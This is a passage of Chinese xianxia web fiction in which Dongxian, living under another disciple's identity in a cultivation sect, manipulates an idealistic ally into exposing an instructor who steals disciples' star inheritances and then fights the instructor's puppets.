这种几乎像是种荣誉的夸奖显然让鸦昤招架不住，她觉得自己几乎被当成了救世主，她面上瞬间起了绯红，感觉浑身不自在起来。
鸦昤很喜欢被夸奖的感觉，尤其东闲的神情看起来是那么发自内心，这无疑满足了她的虚荣心，以至于她彻彻底底忘记自己来时是如何警醒自己的。
“我……没那么厉害，你别说了，我知道了，先想想如何揭穿他们的真面目。”
鸦昤正色起来，按捺住自己被东闲调动起的沸腾热血。
东闲道：“这几日他们陆续剥夺外门弟子的星宿传承，留给我们的时间不多了，若是直言戳破，多半会得到适得其反的结果。
“玄清宗到底有几个怀玉教习，我不敢确定，我由于实力弱小，恐怕没能揭穿他们的真面目便已经为奸人所害。
“如今有了你，我想我们可以直接动手，他们不知道你的存在，趁着他们的注意都在我的身上，你寻机混入他们其中，暗中记录他们的罪行。”
鸦昤微微蹩起眉头：“这听起来并不是很好的办法。”
但她没有拒绝东闲的提议，若是为了解救更多的人，这已然是最快戳穿他们真面目的方式。
鸦昤又道：“有几成把握？”
东闲则是反问道：“你怕吗？”
鸦昤短暂地沉默，她会觉得怕吗，那些被夺走星宿传承的弟子值得她冒险一试吗，她做事从来不考量能否得到等价的回报，她只知道，如若知道了不去做，她会后悔一辈子。
鸦昤洒脱一笑，出手比了个十：“板上钉钉的事，我何怕之有。”
东闲从她愈来愈坚定的神色，看清了鸦昤的决心，东闲声色柔和，道：“怀玉教习屡次对我动手，让我没有办法亲力而为，有些事情唯有拜托你来帮忙。
“如若你能答应，你同样也可以试探我的话是真是假，比起苍白无力的言语，眼中所见的事实才能更叫人信服。”
被怀玉教习视为眼中钉肉中刺的东闲，的确不适合做这份差活，虽然其中暗含风险，鸦昤也坦然地应下。
“好。”
她觉得自己目前太过被动，几乎是被东闲牵着鼻子走，于是在一声爽快的好后，她立刻又补充道：“我暂且信你一回，若是你居心叵测另有目的，你绝不会能独善其身。”
东闲浑不在乎，只觉得轻易相信她的鸦昤依旧那般傻得可爱。她掌下灵力运转，长剑应召而来。
“现在是做师父的教习时刻，你且为我演示你今日的学习成效如何。”
***
鸦昤的办事效率极高，第二日一得空就计划着怎么潜入那群外门弟子当中。
在鸦昤离去后，东闲也准备做事，不过不是忙着去揭穿怀玉教习的真面目，而是去藏经阁搜寻她需要的书卷。
有人替她做了差事，她难得能歇一阵，自然要好好把握时间的。
藏经阁内有藏书万卷，种类丰富，涉及范围极广。
有些书籍需要相应的功德才能拿，慕婉思积攒了一小笔功德，这笔功德对应的书阁上所有藏书，可任她挑选。
有些东西她不方便问也得不到答案，唯有借助这些藏书获取答案，巧合的是，她能碰的那些藏书，还真有几本符合她要求的。
有弟子轻声唤道：“慕师妹？”
在那道人影方攀上泛黄的书页边沿，东闲便合上书，将写着“明魂术”的一页藏在其中，她翻得轻，这么一合上，便严丝密合地压在一起，叫人不知道她曾在哪页驻留良久。
东闲抬眼看过去，对眼前的一张面孔很熟悉，是跟在安泛泛的姐妹团之一，前日还专程来看望她。
“是安师姐找我吗？”
对
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方点点头，东闲便回之稍等，将案几上的一摞书一一放了回去。
在放最后一本藏书时，东闲蓦地同一只竖瞳对上。
那是一只金色的竖瞳，眼内蕴藏着丰富的天道规则，与它对视的刹那，东闲犹觉得自己披上的伪装被它看破。
东闲眨了下眼，那只眼还在直勾勾地看着自己，不过什么都没有做。
东闲敢肯定自己先前取书时绝对没有看见这只古怪的眼，它是凭空出现，不知藏在这看了她多久。
她未在那只眼里读出恶意，但是变故之外的事情总是让她烦神，在此后的很长一段时间她都想办法弄清这只眼的来历，终于得知，那是来自一个心修的天眼，一只能堪破万物的眼。
只是那只天眼与真正的天眼有所不同，天眼是金色的虹膜包裹着雪白竖瞳，本不该掺杂情绪。
而它包裹着的却是赤红竖瞳，隐藏着尚未觉醒的杀气，那只眼在第一次看见东闲时，还流露出好奇的情绪。
第一次见到那只竖瞳时，东闲的做法仅仅是将手中的书卷推了回去，将那只眼睛挡得掩掩实实，而后毫不留恋地离开藏经阁，至此后，她有很长的时间没能再见到这只眼。
***
千里之外的碧幽山上，女子失焦的双目回神，同时额头上的天眼闭合，便是饱满光滑的额头。
“若待在碧幽山，你可一辈子坦然自在，出了碧幽山，你此生的劫难便又要继续。”
不远处投射出的影子，如此说道。
女子不以为然，懒洋洋地靠在树上，抬手接住受灵力震荡而掉落的果子，边啃边道：“师尊不是推算过我有五成的机会能逆死而生，我看见她了，她生得颇合我意，所以我赌那成功的五成。”
清微仙尊曾算她命有劫难，唯有一人可助她，而结果好坏参半。
如今此人出现，却是个顶着他人壳来到玄清宗的心机冒牌货。
清微仙尊很是不喜东闲，可她的徒弟继承她衣钵，不用她出手就已经找上了东闲。
这果子甜得很，唐云岫吃几口实在不合味道，瘪了瘪嘴不乐道：“旁日里吃在嘴里都是酸的，偏偏这回生出个甜的，难吃。”
半空中飞来一个果子，唐云岫抬手刚好接住，她冲着一身白衣出尘若仙人的清微仙尊咧嘴一笑。
“多谢师尊。”
汁水吃得四溅，在自家师尊面前，也不顾忌礼数，实在没个正形。
清微仙尊看得却是满眼愁虑，她的徒弟是多么的烂漫天真，是要被东闲吃得连骨头渣都不剩的，她怎舍得让徒弟被东闲牵着鼻子走。
可偏偏造化弄人，唯有东闲能帮徒弟堪破命中劫难。
也罢，这条路该由她来选，旁人干涉不得。
清微仙尊单方面取消通讯，属于她的影子随之消散，如今碧幽山又成了唐云岫一人。
确切地来说，碧幽山从来都只有唐云岫一个人。
唐云岫放下啃得一半的果子，师尊送来的果子酸得人牙疼，她是受不了了。
她看着师尊上一刻出现的地方，好半晌都维持着这样只看不动的发愣的动作，除了偶尔眨一下眼睛以示她是个活人，几乎就与逼真的人形雕像没有区别。
下一回什么时候才能再见到师尊呢。
其实已经该知足了，在唐云岫的记忆里，她看见清微仙尊的次数一共仅有三次，前几日的通讯还是唐云岫被清微仙尊捡来后的十年来，第二次看见清微仙尊的容貌。
而在几天后的今天，她又能看见清微仙尊了。
此前清微仙尊都是以文书与她交流，若是涉及修炼学习的事，才会传音给她。
但是不够的。
她听见另一个自己说道。
她一直不喜欢另一个自己，但是在今日难得赞同另一个自己。
不够的，我还想见见师尊。
师尊不喜欢她，那我只要多多接触她，师尊肯定会又来见我了。
她啃下手中的果子，直到将半边果子啃得干干净净只剩一个核，而后又将核清洗过后小心翼翼地收起来，放在一个装满所有她觉得是重要东西的储物袋中。
23.第 23 章
鉴于东闲的优秀表现，安大小姐被哄得那是个心花怒放，便允许东闲加入她的姐妹团中的一员。
要知道，她的姐妹团可得经过层层筛选，才有资格加入，而东闲才与她认识不到七天就已经够格加入。
东闲表示非常荣幸，十分欣喜地接受了这一“喜讯”，来传话的小姐妹一并告诉东闲，今日是她们姐妹团要去采花的日子，地点在漫情花海，让东闲于未时准时到达。
未时将至，东闲放下一切琐事依言赴约。
这块地带小径太多，东闲又是第一次来，走走转转就不知自己来到何处，直到发现自己反而深入听风竹林，便知自己走错了。
她本欲转身往回走，借着记忆走出一条大致通向漫情花海的小路来。
恍然发觉，这片听风竹林，好像有人住。
叠叠幢幢的竹影中，隐约浮现一处青碧廊檐。
东闲生起好奇来，沿着青石小路朝那处独立的小屋接近。
这间屋子并没有人住，庭院积攒了一地的竹叶无人清理，户牖紧闭，半无生气，有些发冷，想必主人已经很久没有回来。
她未在这停留太久，扫了一眼便离去，殊不知屋中有一双眼映着她的背影。
“慕婉思，你去哪了。”
终于看见了东闲，安泛泛犹嫌东闲走路太慢，几步跑上前，带着诘问意味地开口。
安泛泛很快为她找好理由，这地带小径错综复杂，哪怕是再小心翼翼也得走错路，东闲如今失去记忆自是同第一次来的人一般糊涂，想来是被这路已经绕晕了。
如今走到自己面前，虽然迟了但其实让她等得并不算久，估摸着东闲应当还提前赶路，若认清了这条路，她定然是来得比自己要早。
于是，安泛泛也不待东闲解释，便已经原谅了她。
“算了，我大度，不跟你计较。”
触及她肩头的竹叶，安泛泛忍不住道：“你进了听风竹林？你没乱跑吧，你要是看见一间屋子千万别过去。”
东闲不解问道：“那间屋子的人不能接触吗？”
安泛泛神情纠结，似乎觉得照东闲这样说又太过了，但是对于这个人，自然是能少接触就少接触的好。
她跺了跺脚，道：“你这脑子忘得真干净。
“含烟，你来说。”
被唤作含烟的姑娘道：“因为那里住着的是亓沂师姐。”
听到“亓沂”二字，东闲明白了。
亓沂此人是天纵奇才，体内有八成星宿传承，仅是修道六年就已是炼心境后期，在不久前由百仙盟举办的青云大比上，亓沂更是一举拿下大比魁首，赶超过这一代一众新秀，甩得他们望尘莫及。
亓沂也是掌门收下的唯一亲传弟子，若是不出意外，亓沂便是下一任掌门，此次掌门离去，特将代掌门的权利交给亓沂。
按理来说，亓沂应受众弟子们敬重，毕竟这么一个惊才绝艳的存在，到那都少不得吹捧。
然而绝大部分弟子对亓沂都抱着敬而远之的态度。
东闲装作没看出她们不愿多讲的神色，继续问道：“亓沂师姐原来在宗门，为何平日里从未见过她上课？”
姐妹团另一个总是怀抱兔子的姑娘道：“她才不屑与我们一同修习，平日里当然看不见她了。”
东闲道：“大家都不喜欢亓师姐吗，共处在一个宗门，亓沂师姐却如边缘人一般。”
她不知亓沂为人人不喜的原因，打听过的弟子都以掌门亲自下令不准再提亓沂的旧事为由，而不肯多讲。
东闲见她们沉默着，故作感慨道：“亓沂师姐总是一个人孤零零地，是个可怜人。”
姐妹团中又一个圆脸姑娘不服气道：“她连自己的亲人都杀，该多凉薄啊，她可一点不可怜。”
“念珍！”
几个小姐妹纷纷唤住她，名叫念珍的圆脸姑娘捂住嘴，可惜为时已晚，已让东闲听了去。
小姑娘们面面相觑着，一时无言，最终是安泛泛出声了。
“告诉她也没关系，反正这里只有我们几个人，又不会让别人听去，就不算在背后议论亓沂师姐。”
而后安泛泛告诉东闲有关亓沂的过去。
亓沂出生在一个极其迷信的村子，那个村子为了保证风调雨顺、年丰岁稔，每隔五年就要向河神献祭村上未成人的姑娘。
有一年恰逢亓沂适龄，亓沂同无数个被绑在木舟上的姑娘一般，在河水的推动下，进入所谓的河神口中。
出人意料的是，亓沂居然逃出来了，还放火烧了整个村子。
连天的大火烧了一整天，除了亓沂外再无人幸存。
火是亓沂放的，在亓沂看来，这座村子迷信封建的观念已经深根蒂固，他们一辈子都会囿于错误的观念中，不如从根头解决，让村子、让封建糟粕彻底葬送在大火之中，完完全全地从这个世界消失。
她这一言论太过激进，便落得了个生性凉薄的名号。
若非知道她在村中过得连孤儿都不如，不然还得添上无情无义的杀人凶手的名号，玄清宗也不会把她收下，更不会有意让她成为下一任掌门。
念珍道：“虽说村民们所做实在不人道，竟白白牺牲一群少女的性命，但是她怎么可以做到放火烧了整个村子还一点都不觉得后悔，就算她的亲人都不是什么好人，可村子里那些不过总角的孩子们怎么办，小孩子能知道什么呀，日后好好纠正不就行了。”
念珍越说越气愤，想到那些无辜的孩子们，她气得浑身直发抖，哪怕时隔六年，再度提起这件事仍叫人痛心。
念珍不仅是气愤，也有忌惮与惧怕，正常人要是想纠正一个村子的村风，怎么可能会想到放火烧了整个村子，那时的亓沂甚至都没有成年，小小年纪心思就如此歹毒淡薄，怎不叫人忌惮？
亓沂是不讨喜的另类，没人愿意接近另类。
弟子们远离她，最大的原因觉得亓沂这人脾性古怪、想法异类、生性凉薄，是个怪人。
跟这种人相处，你是无法得到她真心的，因为这种人根本没有同理心，连一群无辜的孩子们都下手。
念珍说完后，得来的是一片的静默，念珍咬住下唇，神情多了些许尴尬，她自觉失言，转而又道：“我随便说说的，你别放在心上。”
安泛泛打圆场道：“好了好了，我们就不说亓沂师姐了，反正我们最好不要靠近她，亓沂师姐脾气不好，若有人进了她的院落，准要被她打出去的，慕婉思，你下次可别再往那走，免得同她对上，找你的不是。”
东闲颔首，心生异样。
原来屋里是有人住的，方才她踏进庭院，对小屋打量良久，却没遭得屋内主人的斥责，倒是奇异。
或者说，这位亓沂师姐并非如他们所言是个不好招惹的性子。
她们没再在亓沂这个话题上多停留一刻，转而开始她们今日的正题——采花。
今日休沐，安泛泛没再穿弟子服而是自己的私服，是件窄袖蔻梢色的衣裙，身上斜挎一个背带以珍珠串成的纯白囊包，腰间的两条飘带自然垂下，外
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面罩着一件颜色偏深些的小衫，走动时，下摆随之晃动，像极了游走在花丛的蝴蝶。
东闲走得慢，便看着那只花蝴蝶从眼前飞了过去，没忍住轻轻笑了两声。
漫情花海有一片用阵法维持的桃花林，小姑娘们要采桃花做桃花羹、桃花酒、制香、还要装饰居所。
粉嫩的花朵很受小姑娘们的喜欢，于是成了天然的饰品。
念珍将自己的长发编成一股麻花辫垂在胸前，其间点缀朵朵桃花，衬得她娇俏可人，引得其他小姐妹纷纷要效仿。
东闲对这些没有兴趣，但也表现了十足的兴趣，让人一点都觉察不到她的无趣。
见小姑娘们都在学着念珍的模样改变发型，唯安泛泛无动于衷，还多余地远离她们装作赏花的模样。
明明眼神同样透着喜欢却强装不稀罕，看来是并不希望旁人跟自己一模一样。
东闲便取了些桃花，转而就串成手链给安泛泛递了过去。
“只有独一无二的才能配得上师姐，我亲手做的，只为师姐一人。”
东闲很会拿捏安泛泛的心思，安泛泛果然只听见“独一无二”四个字。
她看向东闲掌心的桃花手链，这串手链说不上做得有多精致，毕竟漂亮的功劳原本就在桃花身上。
中规中矩，并没有给人记忆点的地方。
安泛泛伸手接去，桃花手链一被拿走，东闲掌心的伤口就能清晰地映入安泛泛的眼底，看着倒像是蛇咬过，留下两点血红的洞。
她惊呼：“你的手被受伤了，是不是被灵虫咬了。”
是一种喜食花蜜的灵虫，身形若蛇，通体棕褐色，易与枝干混淆，不易为人发现，丹谷的弟子们会养此种灵虫，为的是提取它体内的某种液体来炼丹。
在这片阵法维持的桃花林，就有不少丹谷的弟子放养的灵虫，安泛泛此前忘记告知东闲要小心这儿的灵虫，这灵虫精得很，只敢咬寻常人，从不会对修士下口，东闲修为尽失，必然会成为它们攻击的对象。
东闲被她慌张的情绪所感染，一颗心揪在一团，可怜兮兮地问她：“师姐，这灵虫是不是有毒，我会出事吗？我以为就是寻常的蛇。”
安泛泛伸出一根手指直点在东闲的胸前，似是恨其不自惜。
“你真是笨死了，那根本不是寻常的蛇，是会吸人精气的灵虫，专对你这种没有修为的人下手，亏得它只咬一口就跑掉，不然你这个人就废了，就算是寻常的蛇你也不能怎么大意啊。”
东闲更是皱起一张脸，抬手撑住脑袋，看起来是已经中招发晕了。
“竟是一只欺软怕硬的蛇，师姐，我突然觉得头好晕，若是真要死了，能在死前讨得一碗师姐亲手做的桃花羹，便是死也无憾了。”
安泛泛见她并不放在心上，还有闲心开玩笑，气得骂道：“笨蛋，你哪里会死，就你会油嘴滑舌，我看你一点事都没有。”
她转身就要走，被东闲扯住衣袖，便停步顿一刻，让东闲将那只有着明显灵虫牙印的手掌递到眼前，灵虫牙印下被指甲掐出一条向上凸起的曲线，使得伤口组成一张委屈难过的脸。
安泛泛当时就没忍住，唇边溢出一丝笑意。
东闲道：“师姐，伤口真的不用处理吗。”
安泛泛又板着脸严肃道：“谁叫我医者仁心，看不得一点伤，你这伤口若是不及时处理会让毒素扩散到体内，跟上来，我给你处理一下。”
东闲扬唇道了声“好”，跟着安泛泛的步伐离开漫情花海，提前结束今日的采花。
24.第 24 章
来到安泛泛的居所，在接受安泛泛处理过伤口后，东闲便乖乖坐着，等待安泛泛为她煎药。
东闲其实不明白，这么点小伤口也得喝药吗，但安泛泛去做了，她就咽下疑惑老实等着。
安泛泛的居所要比东闲的多一间灶房，灶房大多时候都是用来煎药的，安泛泛很少会下厨，大小姐在来玄清宗前都是被伺候的，哪需要亲自动手下厨。
彼时距离煎药完成还有一段时间，她的目光落在放在一旁的桃花手链，不禁拿起来仔细端详。
看着也不赖嘛。
其实这桃花生得再好看，但未必就能组成一串好看的桃花手链呀。
所以东闲做这个桃花手链定然是用心了。
目光一转，好巧不巧地落在采来的一囊包桃花上，难免记起东闲说过想喝她亲手做的桃花羹。
这采来的桃花本来打算制香的，不过份量这么多，必然能余下不少，而这余下来的恰好就能做桃花羹。
安泛泛犹豫不决，最终还是传出一只信鹤。
罢了，桃花羹她也想喝，就顺手多做一份吧。
半晌，从天际飞来一只信鹤落在安泛泛的掌心，这只信鹤出自姐妹团中最会下厨的念珍之手。
安泛泛按照念珍所给的步骤，准备制作桃花羹，等她捧着熬好的汤药过来时，发现东闲双眼盯着屋外，仿佛在一直等着她。
东闲一口饮下汤药，仿佛没用嗅觉似的，苦得令人光闻都止不住呕吐的汤药被她喝得一滴不漏。
安泛泛以为她的嗅觉可能有点问题，可偏偏她鼻尖又翕动几下，闻到了空中飘溢的淡淡香气。
东闲瞧见了案上多出来的碗，欣喜道：“好香啊，师姐可是为我做了桃花羮？”
安泛泛惯常嘴硬道：“这是我喝不完才留给你的，我可没有特意为你留。”
“反正都是师姐做的。”
东闲捧过桃花羹，小口小口地喝起来。
桃花羹并不难喝，也不好喝，味道一般般，放在嘴里砸吧砸吧半天也尝不出味，她却吃得津津有味，安泛泛在一旁看着不禁也馋了。
安泛泛心道奇怪了，有那么好喝吗，怎么自己尝起来就没啥味呢。
她复而明白这是东闲有意讨好她，东闲也该讨好她，不许说她做的桃花羹的不是，由她亲手做出来的桃花羹，东闲可是尝到的头一个，再不喜欢也得喜欢道好吃。
外面忽地传来呼声，打破暂时的静谧。
“安师姐，安师姐在吗？”
安泛泛起身朝外去，向外面唤她的弟子道：“找我有什么事？”
那位弟子问道：“安师姐，你可有见过慕师妹？”
安泛泛：“她一直在我这，你找她有事吗？”
紧接着，又一道声音传来。
“师姐，发生什么事了？”
那位弟子看去，从屋内出来的赫然是“慕婉思”。
那位弟子又问道：“你一直都在这里？”
东闲：“准确来讲，我今日很早来到藏书阁，未时起，又赴约同师姐们一起去后山赏花，此后便一直跟在师姐身侧，期间还未曾离开，师兄是有什么事找我吗。”
那位弟子只道是代怀玉教习为她送来基础炼丹要领，希望她下次争取不炸锅。
东闲收下，翻开发现全是手写的要领，转而让弟子代她传达感谢。
待那弟子走远，两人重回屋中。
这回安泛泛神情难得严肃许多，那位弟子的到来让她产生危机感，东闲的回应并不能挑出错，但结合她先前的行为，便显得可疑多了。
安泛泛算不上非常聪明，但也能在此时觉察到整件事不对劲，她很敏锐地嗅到阴谋的气息，那位弟子真要送东西给东闲，哪需要大费周章地寻找东闲，非要把东西送到东闲手上，明明是想借送东西的名义确认东闲在做什么。
东闲以“慕婉思”的身份回来一直受到非议，前阵子还是有疑似清微仙尊出面的缘故，才让大家消停。
安泛泛已经不再对东闲起疑，心里却清楚东闲有事在瞒着她，“慕婉思”能从鬼煞冢活着出来，肯定是经历什么，她又怕牵扯东闲伤痛不敢多问，她可记得，“慕婉思”就是因为受过非人的折磨给刺激失忆的。
如今，安泛泛没能忍住好奇，试探地问道：“慕婉思，你有什么事在瞒着我们吗？”
她立刻受到来自东闲的心音传话。
“师姐，可还愿意信我？”
那双眸子多了惧怕与哀伤的意味，但仍不减半分信赖与期待。
东闲没有躲避问题，更没有为自己做任何解释，只想问她信不信自己，好像她的信任在东闲看来是极为重要的存在。
东闲真的很在乎她的看法，一个失去记忆修为全无的人，回到过去待过的地方只会觉得陌生不适应，东闲那般讨好自己，定是特别希望能有个伴吧。
东闲定然是有苦衷的，而安泛泛愿意站在她这边。
安泛泛也以心音传她，她不善安慰人，言语听起来很生硬。
“你又没做亏心事，我干嘛要怀疑你。”
在安泛泛看来，东闲甚至是个再可怜不过的人，被亲近之人动手杀害，如何都让人绝望。
东闲笑了笑，握住安泛泛的手。
“师姐，我很高兴你能相信我，可这件事我不想把你牵扯进来，原谅我只能向你隐瞒。”
话落的那刻，同时松开安泛泛的手，转而离去。
安泛泛没有出声，东闲的心声还在她脑海里回荡，收下东闲留下的讯息，怀着焦躁的心，等待着。
“慕婉思，你最好别有事。”
***
东闲等不了太久，必须以最短的时间扳倒怀玉教习，鸦昤是再合适不过的人选。
鸦昤是个容易热血上头、甘为正义奉献的人，这点在早期与鸦昤的相处中，让东闲领会了。
鸦昤曾为了救人敢于同自己境界不能敌的妖兽作战，哪怕是一死也无所畏惧。
东闲选中鸦昤正是利用她的正直，过于莽撞尽是一股子冲劲的正直。
怀玉教习这个威胁多存在一刻，东闲心中犹如堵了块大石头实在难安，所以在以慕婉思的身份进入玄清宗的第一日，东闲就在盘算如何扳倒怀玉教习。
趁着宗门在招收外门弟子时，东闲暗中收买了曾伪装去赌场遇到的赌徒。
凡间流通的货币是金银铜，而修仙界则以灵石交易，东闲穷得一贫如洗，以防变卖慕婉思的物什才去赌场生钱。
那个赌徒因为赌而倾家荡产，为了钱财而听从东闲差遣拜入玄清宗成为外门弟子，进而如其他无权无势的外门弟子般向常怀清求学。
鸦昤只要混入其中，必然会因无法亲眼目睹这些外门弟子被剥夺星宿传承，从而自破计划冲动出手。
到时鸦昤就会陷入麻烦无法脱困，不过这并不要紧，东闲为了种种可能做了最能保全自己并且达到目标的打算，提前安排的棋子，也就是赌徒会带走关键证物留影石。
方才那位师兄的出现，正是因为鸦昤将记录他们罪行的留影石给带出来了，他们疑心留影石会在东闲手中，不曾想到东闲一整日的行踪都透明可见。
东闲因此摆脱掉祸灾。
而这枚留影石即将送到东闲手上。
身着黑衣的赌徒守在提前约定的地点多时，直到等得东闲来，将意义巨大的留影石交给东闲，同时接住东闲给他的没有灵识封印的储物袋。
男人拿到自
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己想要的钱财，却没有选择立刻离开，他犹豫再三，实在不忍那个怀着一腔热血的人就此离去，而为她开口。
“你帮帮她吧，她真的很需要帮助。”
东闲没有出声，眸子幽幽地从留影石转到男人脸上。
男人有瞬间的心悸，但再看那双毫无情绪的眼睛，又狐疑是自己幻视。
他稳住心神，将所见到的景象简短地陈述给东闲，以期打动东闲的心，此刻的他早就将东闲先前的警告抛在脑后。
鸦昤认命自己逃不出去，不甘心任由剥夺星宿传承一事继续上演，她在逼迫常怀清承认罪行的那刻，藏在暗处的留影石就已经代她记录一切。
当男人以东闲的名义取得鸦昤的信任时，鸦昤毫不犹豫地将留影石交给男人。
“我走不掉了，在留影石安全被送出去前，我会为你扫除障碍。”
鸦昤发狠用牙撕开臂膀上缠着的布料，暴露出臂膀上触目惊心的与魔狼争斗而留下的抓伤，浸透鲜血的布料则被主人丢在一边，空气中迅速弥漫的鲜血会刺激着常怀清派出的魔狼叫嚣着冲她袭来，她会拼尽全力为赌徒的护送争取时间。
魔狼脾性凶戾，满嘴的尖锐獠牙能够轻而易举地将顽石碾碎成齑粉，每一只可与炼心境的修士媲美，而常怀清能够派出的魔狼足足有十只。
十个魔狼的嚎叫声若滔滔雷鸣震颤，直击人心底的恐惧，叫双腿都不由自主为其臣服。
而映入赌徒眼中的，是群狼环伺中，愈显挺拔而高大的孤影。
那样的画面太难忘怀，永远地镌刻在男人心中，他不禁为之动容。
即便东闲来得太晚，这个时候鸦昤很可能遇害，但他还是希望东闲能够去帮帮她。
东闲听在耳中，并未流露出男人所期待见到的神情。
是了，鸦昤一定会做出这种抉择。
东闲早就料到鸦昤宁愿牺牲也要将留影石中的真相公布于众，逼到绝路之际，鸦昤会拼命抵抗到最后，而由她安排的人会从鸦昤手中拿到留影石，从而交到东闲手上。
这似乎是个注定会牺牲鸦昤的结局，而这样的结局只会对东闲有利。
事情发展到这种地步，她的目标好像达成了。
东闲握住了留影石，握住了未来外门弟子们的希望，也握住了自己的希望。
利用如此一颗真挚而炽热的心，似乎还真是不该。
可那又如何？
东闲愿意狠心做个薄情寡义的恶人，她的目标自始至终都是飞升成神，凡尘俗世中的一切不值得她为此分心，她一向自私，考虑事情从来都是将自己的利益最大化，而被她利用的人，从不在她考虑的范围内。
东闲打开留影石，将其中记录的画面全都过了一遍，发现鸦昤记录了星宿传承即将剥夺到被打断的过程，以及常怀清亲口承认罪行，虽然也提到了怀玉教习，但单凭常怀清的说辞远远不够。
她握住留影石，将留影石投射的画面一同收尽。
赌徒没有得到东闲的回应，紧了紧眉，还想说什么，肩头传来一阵力度。
东闲拍在他的肩头，惹得赌徒浑身莫名一颤，“你还要留在这？”
赌徒赶忙离去。
东闲跟在后面，眼看着赌徒半途倒下，而后将他身上的两个储物袋都收了去。
东闲打开看了眼其中一个模样精致的储物袋，里面的灵石居然还不如她给的多，果然还是拳头大好说话。
东闲收起储物袋，漫不经心地笑了。
事情怎么会轻易得到解决，这不就有人盯上她了。
可他没搞清楚的一点，她的出现才是他们最大的危机。
东闲希望鸦昤能再多撑一会，最起码把这出戏给唱完再死。
25.第 25 章
常怀清如愿拿到投影珠，他该遵守诺言，告诉东闲鸦昤失踪的地方。
东闲静静等待着，看着常怀清将投影珠记录的画面投放一遍。
确认投影珠没有问题后，常怀清面上带了笑，将投影珠碾碎成粉纷纷扬扬洒在东闲面前，意味不明地看着东闲，为东闲让开路。
而在东闲擦身经过时，常怀清低低地笑了两声，道：“慕婉思，我准你走了吗？”
与其一同响起的，是密林四处窸窸窣窣的动静，东闲飞速地扫了一眼，她已然被常怀清的傀儡包围在其中。
东闲似是被逗乐了，语中可闻笑意。
“杀我需要大费周章？”
常怀清道：“你来这，就该算到自己会死，可惜你还没能和你的父亲相见，又要阴阳两隔。
“慕婉思，你好好地死在鬼煞冢不好吗，为什么非要回来再死一次，闹得大家都不开心。”
东闲不解地道：“你不怕清微仙尊知道？”
东闲原本以为他们会因为清微仙尊的缘故不敢再对自己动手，可常怀清还是找上她。
常怀清很是自负地道：“你的一举一动皆在我的监控之下，我知道其实你根本没有见到清微仙尊，你想救人就该清楚不要惹怒我，你不会有机会向仙尊通风报信，而仙尊又不会在意你的死活。”
他说着，向后退，逆着傀儡前行的方向。
暗林里涌动的傀儡朝东闲逼近，一身浓稠如墨浆拟作人形的存在，东闲粗略扫过去，约莫有八个傀儡，而这八个傀儡是常怀清能修出来的极限。
每个傀修在修傀术都要面临的第一堂课，便是生傀，一个傀修在傀道的造诣，主要看他第一次能生出多少傀儡，如若数量大于十，他无疑是合格的傀修，如若数量少于十，他这辈子走到的路已经能看到尽头。
而常怀清只能修出八个傀儡，这八个傀儡死了，他还能再修，但是他所能掌控的极限是八，意味着他永远只能掌控八个傀儡。
上回，东闲曾短暂地感受过老者的傀儡，他的傀儡不一样，素有燕老鬼之称的老者，手下的傀儡都是用活人造出来的，而活人造成的傀儡，要比生出来的傀儡更厉害。
不过，无论是哪种傀儡，都是现阶段毫无实力的东闲无法抵抗的。
东闲舔了舔有些干燥的唇。
如若真的没有应付之能，她也不会冒险前来。
要知道，常怀清最大的问题，就是不知道这具属于慕婉思的壳子下不是慕婉思本人，更是不知道东闲到底有何本事。
这一点的信息之差，便可能铸就东闲的成功。
铿然一声响，惊得林叶唰唰而动，剑出鞘，她便迎上前与那些傀儡纠缠。
常怀清先是嘴角上挑一个轻蔑的弧度，见东闲与他的傀儡还能有来有回，常怀清不免惊声叫道：“你不是修为尽失吗？”
东闲道：“我是没有修为，对付你这种十年还是淬灵境后期的废物，根本用不着修为压制吧。”
东闲没有修为，她使出的招式都是朝阳剑法，因为她对朝阳剑法掌握到如火纯青的地步，哪怕没有修为，靠着朝阳剑法她也不会太吃亏。
常怀清被她高高在上的言语激怒了，他这辈子最厌恨那群天赋极佳的人，凭什么他们随便修习就能得到比他更多的回报，而他苦修十年，自认比那群弟子勤恳认真，不但境界上收效甚微，傅教习还要他再练练，迟迟不肯将傀道的十二招授予他。
傀道十二招为一傀道大能所传，只有拥有对傀术的一定掌控能力，才能开始修习傀道十二招。
拥有六成星日马传承的慕婉思同样是他厌恨的存在，常怀清认为一定是六成星日马的天赋让慕婉思掌握了朝阳剑法的精髓，才让她能在没有修为的情况下还有反击的能力。
密林里的傀儡全都一拥而上，东闲感受到常怀清的怒火，笑得更放肆，更叫常怀清想撕烂她那张脸。
东闲语速不疾不徐，带着戏谑的意味开口：“我六岁那年被测出六成星日马传承，同年成功引气入体，七岁那年已是淬灵境前期，十岁那年突破淬灵境渡过劫雷步入凝元境……”
常怀清脸色“唰”地一下黑了，极为难看。
“慕婉思，你住嘴！”
他的腾腾怒火化为傀儡的战意，八双赤红的瞳孔似乎能将东闲撕烂。
东闲置之不理，抬高声量，哪怕这群傀儡伤到了她，让她觉得有些吃力难以应付，她也不曾停下。
“十八岁那年我便是炼心境的实力，我用了十二年就步入炼心境，你呢，用了十年还停留在淬灵境后期，想必再给你几个十年你也绝不会步入炼心境的，常怀清，跟我比，用废物二字都抬举你了。”
常怀清两眼阴沉地看着东闲，东闲无疑说出他此生最厌恨之事，他始终认为自己在修道上不得进展都是因为该死的星宿传承。
星宿传承将修士们分为三六九等，明明还没有开始修炼，他就被认定这辈子不会有多少成就。
常怀清不甘心，因而拼命苦修终于以最后一名的名次进入玄清宗成为内门弟子，然而进入内门以后，他因为天赋问题而吸收灵力缓慢导致修为进程停滞不前，进入内门十年，到最后还是淬灵境后期的修为。
努力在天赋面前不值一提，而这群拥有高星宿传承之人，不需要努力就能受到一堆人吹捧，卑贱如尘埃的他，永远只能仰望着他们。
他心中最嫉恨之事被东闲以一种讥讽的语气嘲出来，无名火瞬间要压倒他的理智。
淬了毒的眼睛死死盯在东闲身上，看着她被自己的傀儡中伤，常怀清久违地感到畅快。
“你纵是有六成星日马传承又如何，我杀了你易如反掌，看着你像猴似的被我耍弄，真叫人爽快。”
他像是耍猴似的，控制着傀儡时而留下破绽，时而又打破东闲引以为生的希望，反正不会出死招，就这样让东闲绝望。
东闲用拇指擦去唇边溢出的血，目光轻佻地看向常怀庆，手中的长剑却因为重伤而抖动着。
“常师弟，要不要试试更爽快的。
“拿这些傀儡玩我有什么意思，你亲自上啊。”
常怀清没听出她话下潜藏的危险，只当是她临死前的挑衅，并不在意。
“慕婉思，你就是天之骄子又如何，还不是得被我踩……”
他的双眼被突如其来的白光照瞎，话也被道极快的风割断，脖颈的刺痛更是让他无法继续发出一声被耍到的粗口。
